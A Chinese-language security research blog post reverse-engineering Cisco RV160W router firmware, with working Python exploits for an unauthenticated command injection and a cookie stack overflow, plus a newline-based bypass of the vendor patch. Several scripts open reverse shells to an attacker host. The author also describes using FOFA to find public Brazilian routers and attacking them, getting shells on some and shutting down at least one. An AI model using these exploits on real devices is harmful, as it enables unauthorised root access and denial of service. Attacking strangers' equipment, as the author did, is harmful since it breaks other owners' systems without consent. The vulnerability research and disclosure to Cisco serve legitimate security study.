Cisco RV160W系列路由器漏洞：从1day分析到0day挖掘

前言
最近在分析思科RV160W这款路由器最新曝出的无条件RCE漏洞，官方已经推出更新补丁了，我diff固件查看变动代码，结果有了一些新发现
​https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv160-260-rce-XZeFkNHf.html​
固件初步分析
根据官方的通告，Cisco Small Business RV160、RV160W、RV260、RV260P 和 RV260W VPN 路由器基于 Web 的管理界面中存在多个漏洞，可能允许未经身份验证的远程攻击者以root用户身份在受影响的设备上执行任意代码。这些漏洞在固件v1.0.01.02版本被修复
我去Cisco Software Center下载了两个版本固件
版本v1.0.01.01就是存在漏洞的固件
binwalk解压固件，寻找提供web服务的二进制文件，其实可以根据rc.d与init.d目录的一些初始化脚本盲猜,这里本着通用性与研究性的目的用另一种方式寻找。
由于手里没有设备，firmadyne有点鸡肋，于是我在油管上找了个RV160W的配置教程，观察浏览器上方的url，根据关键字符“configurationManagement”定位到admin.cgi，进而定位到web组件是mini_httpd(32位arm小端程序)。
[email protected]:~/blog/v1.0.01.01/rootfs$ grep -Rnl "configurationManagement" * 2>/dev/null
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
www/gettingStarted.htm
www/configurationManagement.htm
www/app.min20200813.js
www/home.htm
[email protected]:~/blog/v1.0.01.01/rootfs$ grep -Rnl "admin.cgi" * 2>/dev/null
usr/sbin/mini_httpd
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
[email protected]:~/blog/v1.0.01.01/rootfs$ file ./usr/sbin/mini_httpd 
./usr/sbin/mini_httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped
定位到web服务程序后，我们对两个版本固件的mini_httpd程序进行二进制代码对比(当然也有对 admin.cgi 进行对比，也存在不少改动代码，但这次我只关注mini_httpd组件部分)
最经典的是bindiff这款工具，但是我用它并没有找到关键代码改动部分
之后又使用了一款IDA插件diaphora,导出sqlite数据库后进行对比，发现 mini_httpd2 的 sub_1B034 函数（对应mini_httpd1的sub_1AF58函数）和sub_15CE4函数（对应mini_httpd1的sub_15CE4函数）改动较明显。
mini_httpd1
分析sub_1AF58函数改动部分
分别定位到两个程序相关代码部分
mini_httpd1
mini_httpd1
mini_httpd2
mini_httpd2
在新版本的sub_1B340中，将格式化后的v3作为参数传递给system，在这之前v3经过了一次sub_1B034函数
sub_1b034函数是新加入的，里面大概是过滤字符的功能
这里已经不能再明显了，system函数处存在命令注入，于是mini_httpd2用过滤危险字符的方式修复了这个漏洞。
分析sub_15CE4函数改动部分
mini_httpd1
mini_httpd1
mini_httpd2
mini_httpd2
将strcpy函数替换成了strncpy函数。断定此处strcpy存在栈溢出漏洞。
对固件的初步逆向分析后，基本判定老版本固件至少存在命令注入和栈溢出这两个漏洞。
固件模拟
模拟httpd服务,为了之后附加进程调试，我选用qemu系统模式进行模拟。
拷贝1.0.01.01固件文件系统进qemu，挂载一些关键目录后以chroot执行sh.
[email protected]:~/rootfs# ls
bin  etc  media  overlay  rom    sbin  test_scripts  usr  www
dev  lib  mnt     proc      root    sys   tmp        var
[email protected]:~/rootfs# mount -t proc  /proc/ ./proc/
[email protected]:~/rootfs# mount -t devtmpfs /dev/ ./dev/
[email protected]:~/rootfs# chroot . ./bin/sh
​
BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash)
​
/ #
在运行mini_httpd之前可能需要初始化环境目录，这些往往都在rc.d与init.d启动脚本里面，所以全局搜索引用“mini_httpd”的地方
[email protected]:~/cve/RV160W/rootfs$ grep -Rnl "mini_httpd" * 2>/dev/null
etc/scripts/mini_httpd/mini_httpd.sh
etc/rc.d/S23mini_httpd.init
etc/init.d/mini_httpd.init
etc/init.d/config_update.sh
usr/sbin/mini_httpd
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
发现etc/scripts/mini_httpd/mini_httpd.sh 与 etc/rc.d/S23mini_httpd.init 与 etc/init.d/mini_httpd.init 这些里面的内容都差不多，大概都是初始化一些文件然后最终启动/usr/sbin/mini_httpd
#!/bin/sh /etc/rc.common
​
START=23
​
version_gt() {
    test "$(echo "[email protected]" | tr " " "\n" | sort -n | head -n 1)" != "$1";
}
get_version() {
    version=`cat $1 | grep "\"VERSION\"" | awk -F '"' '{print $4}'`
    if [[ "${version/V/}" != "$version" ]]; then
        version=`echo $version | awk -F 'V' '{print $2}'`
    fi
    echo $version
}
start() {
    fwLgPath="/www/lang"
    mntLgPath="/mnt/packages/languages"
    mkdir -p /tmp/download
    mkdir -p /tmp/download
    mkdir -p /tmp/download/certificate
    mkdir -p /tmp/download/log
    mkdir -p /tmp/download/configuration
    mkdir -p /tmp/www
    mkdir -p /tmp/portal_img
    if [ ! -d /mnt/packages/languages ]; then
        mkdir -p /mnt/packages/languages
        cp -rf ${fwLgPath}/* ${mntLgPath}
    else
        # check version
        list="English Spanish Frensh German Itailian"
        for i in $list; do
            if [ -f ${fwLgPath}/${i}.js ]; then
                if [ -f ${mntLgPath}/${i}.js ]; then
                    tmp_version=`cat ${mntLgPath}/${i}.js | grep "\"VERSION\"" | awk -F '"' '{print $4}'`
                    fw_version=$(get_version ${fwLgPath}/${i}.js)
                    mnt_version=$(get_version ${mntLgPath}/${i}.js)
                    if [[ "${tmp_version/V/}" != "$tmp_version" ]]; then
                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
                    elif ! version_gt $mnt_version $fw_version; then
                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
                    fi
                else
                    cp ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
                fi
            fi
        done
    fi
​
    /etc/scripts/mini_httpd/mini_httpd.sh start
}
​
stop() {
    /etc/scripts/mini_httpd/mini_httpd.sh stop
}
​
reload() {
    /etc/scripts/mini_httpd/mini_httpd.sh reload
}
我试着运行了一个
/ # /etc/init.d/mini_httpd.init
uci: Entry not found
Syntax: /etc/init.d/mini_httpd.init [command]
​
Available commands:
    start    Start the service
    stop    Stop the service
    restart    Restart the service
    reload    Reload configuration files (or restart if that fails)
    enable    Enable service autostart
    disable    Disable service autostart
​
/ # /etc/init.d/mini_httpd.init start
uci: Entry not found
ls: /mnt/configcert/confd/startup/: No such file or directory
use backup cert for mini-httpd ...
1 0 0 0
setsockopt SO_REUSEADDR: Protocol not available
setsockopt SO_REUSEADDR: Protocol not available
/usr/sbin/mini_httpd: can't bind to any address
/ #
发现报错can't bind to any address，这个报错在mini_httpd程序中，此时一些文件其实已经初始化了，我们可以只关注mini_httpd程序本身。
我们直接运行mini_httpd，同样的报错
/ # /usr/sbin/mini_httpd 
setsockopt SO_REUSEADDR: Protocol not available
setsockopt SO_REUSEADDR: Protocol not available
/usr/sbin/mini_httpd: can't bind to any address
错误原因是setsockopt函数在调用时协议参数不合法，经过一番尝试后无果；最后想到这种设置套接字属性的函数，其实hook掉对连接的影响也不是很大，关键服务能起来就行。
定位到程序报错点，是setsockopt失败返回负值导致的错误。
我索性将setsockopt函数hook全返回1
/*arm-linux-gnueabi-gcc -shared -fPIC hook.c -o hook  */
#include <stdio.h>
#include <stdlib.h>
#include<sys/socket.h>
​
int setsockopt(int sockfd, int level, int optname,
                      const void *optval, socklen_t optlen)
{
​
return 1;
}
BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash)
​
/ # LD_PRELOAD="/hook" ./usr/sbin/mini_httpd
bind: Address already in use
/ # ./usr/sbin/mini_httpd: started as root without requesting chroot(), warning only
​
/ # ps |grep mini_httpd
 2364 root      3540 S    ./usr/sbin/mini_httpd
 2369 root      3120 S    grep mini_httpd
可以看到服务跑起来了，访问试试
根据403字符定位到程序中
执行sub_1b5f0函数后就退出了，猜测是某些环境变量的问题，这里为了不改变代码逻辑，我直接patch mini_httpd程序代码块，把跳转 sub_1B5F0的地方nop掉
before_nop
nop
再次执行程序后访问web
固件逆向分析与调试
接下来就是对mini_httpd的详细逆向过程，其实就是寻找触发路径。
命令注入漏洞分析
我把漏洞触发函数改成了vuln，以及调用vuln的上层函数vuln_back1，上上层函数vuln_back2........
vuln_back2
在vuln_back2中看出，我们只需要contrl_arg字符串里面包含"dniapi/"即可进入vuln_back1
vuln_back2
在往上看，contrl_arg被赋值成dword_34F60 + 1，并且dword_34F60第一个字符必须为'/',这里可以猜测contrl_arg是一个请求行的URL
vuln_back2
为了验证我的猜测，动态调试一下，由于所有的请求都被放在了fork子进程中处理。我这里暂时为了方便调试，hook了fork函数返回0，构造了GET /hello.txt
vuln_back1
在vuln_back1中判断了contrl_arg是否是相关字符，不是就会去执行vuln，调用vuln时传入了contrl_arg这个参数
vuln_back1
vuln
vuln函数里面还有最后一层判断，必须让contrl_arg的前9个字符等于"download/"
vuln
所以综上，我们可以构造GET请求URL为"/download/dniapi/"，为了能触发system函数，我还需要调整contrl_cmd的值为"Basic "
查找引用，发现在vuln_back2函数中给contrl_cmd赋值
vuln_back2
大胆猜测，这里就是HTTP的head的Authorization字段
综上，最终能触发到system函数的请求大致如下(当然实际还需添加一些标准head)
GET /download/dniapi/ HTTP/1.1
Authorization: Basic xxxxxxxxxxxxxxxxxxxxxxxxx
vuln通过sub_1E19C函数处理contrl_cmd + 6（Basic之后的字符串），结果放入v5，最终将v5作为拼接命令的一部分。
table
3字节一组，以及明显的base64解码字符表，经验证sub_1E19C就是base64解密函数。
所以只需要将请求Authorization: Basic后的字符换成想要执行命令的base64编码形式，同时用;字符截断原有的curl命令，就可以执行任意命令，下面以date命令为例。
Command Inject EXP
import requests
import sys
import base64
import urllib3
​
if len(sys.argv)!=3:
    print "Parameter error. python exp.py url \"command\""
    exit(0)
​
url = sys.argv[1]
cmd =  sys.argv[2]
​
CMD=";"+cmd+";"
CMD=base64.b64encode(CMD)
​
header = {'Authorization':"Basic "+CMD}
​
urllib3.disable_warnings()
​
if url[-1:]=='/':
   url=url[:-1]
r = requests.get(url+"/download/dniapi/", headers=header,verify=False)
​
print "DONE!"
栈溢出漏洞分析
同样我将漏洞触发函数重命名成overflow,上层函数overflow_back1、overflow_back2
在vuln_back2函数里，处理 cookie 并且作为参数传入overflow_back2函数。
在这之前会有一个check，检查当前请求的url资源内容是否是需要登录才能访问
所以这里需要请求这些资源，使其返回1。
overflow_back2里判断cookie不为空后进入overflow_back1
然后就是检索cookie是否包含sessionID，包含的话，将其以空格分隔后，传入overflow函数
overflow函数中形参a2指向空字符，所以其实最后就是未限制sessionID长度在strcpy时的溢出。
POC如下：
import requests
import urllib3
import sys
​
url = sys.argv[1]
​
if url[-1:]=='/':
   url=url[:-1]
​
cmd="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac"
​
payload = "sessionID="+cmd
​
urllib3.disable_warnings()
​
url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)
​
print(r)
print(r.text)
print(r.content)
分析crash结果，得知是在overflow函数返回前抛出的内存引用异常。原因是数据过长，覆盖了压入栈中的第五个参数a5，它刚好位于返回地址下方，导致最后一个strcpy往a5变量地址写数据时，该地址不合法。
所以为了能够保证利用，需要刚好覆盖到overflow函数的返回地址。
经过调试，测得偏移为268,POC如下：
import requests
import urllib3
import sys
​
url = sys.argv[1]
​
if url[-1:]=='/':
   url=url[:-1]
​
payload = "sessionID=1234".ljust(268,"a")+"bbb"
​
urllib3.disable_warnings()
​
url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)
​
print(r)
print(r.text)
print(r.content)
可以看到返回地址被覆盖成了bbb（0x626262），且可以观察到此时的r0寄存器指向sessionID=后的字符串1234...，因此可以在sessionID=后放置命令字符串，然后控制PC跳转到system函数上。由于cookie在overflow_back1函数中被过滤了空格，在overflow中被过滤了等号，导致命令执行受限，空格可以用${IFS}替换，等号只能避免使用了。
Stack Overflow EXP
关于system执行命令，我并不想去另寻僻径去ROP或者是上传后门程序，我尝试了很多技巧，最终以这种较为简单且通用的方式弹shell（输入与输出分离）。
import requests
import urllib3
import sys
​
​
if len(sys.argv)!=5:
    print "Parameter error. python exp.py url reverse_shell_host input_port output_port"
    exit(0)
​
​
url = sys.argv[1]
reverse_shell_host =  sys.argv[2]
input_port= sys.argv[3]
output_port= sys.argv[4]
​
​
if url[-1:]=='/':
   url=url[:-1]
​
​
cmd="telnet "+reverse_shell_host+" "+input_port+" | /bin/sh | telnet "+reverse_shell_host+" "+output_port
​
cmd2=cmd.replace(' ',"${IFS}")
​
​
payload = ("sessionID="+cmd2+";").ljust(268,"a")
payload += "\x1c\xb1\x01"
​
​
urllib3.disable_warnings()
​
url= url+"/help"
head= {'Cookie':payload}
r=requests.post(url,headers=head,verify=False)
​
print(r)
print(r.text)
print(r.content)
本地测试
以Command Inject EXP为例：
python exp.py http://192.168.122.12 "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.122.11\",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
真实设备测试
由于我手里没有真实设备,只能找一些公网上的设备验证。
用burpsuit抓包获取设备特征
Content-Security-Policy:是一个很明显的特征
在fofa上搜索 header="frame-ancestors 'self' 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline' 'unsafe-eval'"
我这里只搜索了巴西的
用exp打来试试
收获0day
一开始我补丁比较的时候就发现，v1.0.01.02固件在sprintf之前加入了字符过滤函数 
​
该函数完整代码如下
_BYTE *__fastcall filer(_BYTE *output, _BYTE *input, int a3_1024)
{
  _BYTE *v3; // r3
  _BYTE *v4; // r3
  _BYTE *v5; // r3
  _BYTE *v6; // r3
  _BYTE *v7; // r3
  _BYTE *v8; // r2
  int v9; // [sp+10h] [bp-14h]
  _BYTE *v10; // [sp+14h] [bp-10h]
  int v12; // [sp+1Ch] [bp-8h]
  int v13; // [sp+1Ch] [bp-8h]
  int v14; // [sp+1Ch] [bp-8h]
​
  v12 = 0;
  v9 = a3_1024 - 1;
  v10 = output;
  while ( *input )
  {
    if ( *input == '~'
      || *input == '`'
      || *input == '#'
      || *input == '$'
      || *input == '&'
      || *input == '*'
      || *input == '('
      || *input == ')'
      || *input == '|'
      || *input == '['
      || *input == ']'
      || *input == '{'
      || *input == '}'
      || *input == ';'
      || *input == '\''
      || *input == '"'
      || *input == '<'
      || *input == '>'
      || *input == '/'
      || *input == '?'
      || *input == '!'
      || *input == ' '
      || *input == '='
      || *input == '\t' )
    {
      v3 = v10++;
      *v3 = '\\';
      if ( ++v12 >= v9 )
        break;
    }
    else if ( *input == '\\' )
    {
      v4 = v10++;
      *v4 = '\\';
      v13 = v12 + 1;
      if ( v13 >= v9 )
        break;
      v5 = v10++;
      *v5 = '\\';
      v14 = v13 + 1;
      if ( v14 >= v9 )
        break;
      v6 = v10++;
      *v6 = '\\';
      v12 = v14 + 1;
      if ( v12 >= v9 )
        break;
    }
    v7 = v10++;
    v8 = input++;
    *v7 = *v8;
    if ( ++v12 >= v9 )
      break;
  }
  *v10 = 0;
  return output;
}
经分析，它的功能主要是检索字符串，一旦检测到敏感字符，就将在该字符前面加上一个转义符"\"
比如我们构造命令ls -all,被它处理后字符变成了ls\ -all
我试了各种方法，都无法绕过
但是我发现它并没有过滤换行符"\n"，这可以让我们使用换行符截断命令，但是我们只能执行一些环境变量目录下的程序，并且还不能跟参数，可能的用处是开启一些对外的接口比如telnetd或其它。
但这也是一个很严重的过滤缺陷，因为我们可以构造"\npoweroff\n"来使路由器关机，这直接是拒绝服务攻击了
EXP
根据上面Command Inject EXP代码，将字符拼接处的;换成\n即可。
# affect firmware version <1.0.01.04
import requests
import sys
import base64
import urllib3
​
if len(sys.argv)!=3:
    print "Parameter error. python exp.py url \"command with no parameters\""
    exit(0)
​
url = sys.argv[1]
cmd =  sys.argv[2]
​
CMD="\n"+cmd+"\n"
CMD=base64.b64encode(CMD)
​
header = {'Authorization':"Basic "+CMD}
​
urllib3.disable_warnings()
​
if url[-1:]=='/':
   url=url[:-1]
r = requests.get(url+"/download/dniapi/", headers=header,verify=False)
​
print "DONE!"
测试
尝试过注入telnetd命令来开启telnetd服务
但经1day打进去的公网设备验证发现，该系列路由器里没有配置用户密码。
下面只尝试poweroff的命令注入（效果最直观明显）。POC如下
curl -i -s -k  -X $'GET' \
    -H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: local_lang=%22English%22; ru=0' -H $'Authorization: Basic CnBvd2Vyb2ZmCg==' -H $'Upgrade-Insecure-Requests: 1' -H $'If-Modified-Since: Wed, 07 Apr 2021 11:28:48 GMT' -H $'Cache-Control: max-age=0' \
    -b $'local_lang=%22English%22; ru=0' \
    $'https://127.0.0.1/download/dniapi/'
在公网上找了个用1day打getshell失败 但使用POC成功宕机的
Notices
目前该漏洞已经提交给了思科厂商，思科已确认了该漏洞并修复。https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv-code-execution-9UVJr7k4.html​
mips_arm汇编学习
Symbolic_Execution
Last modified 1yr ago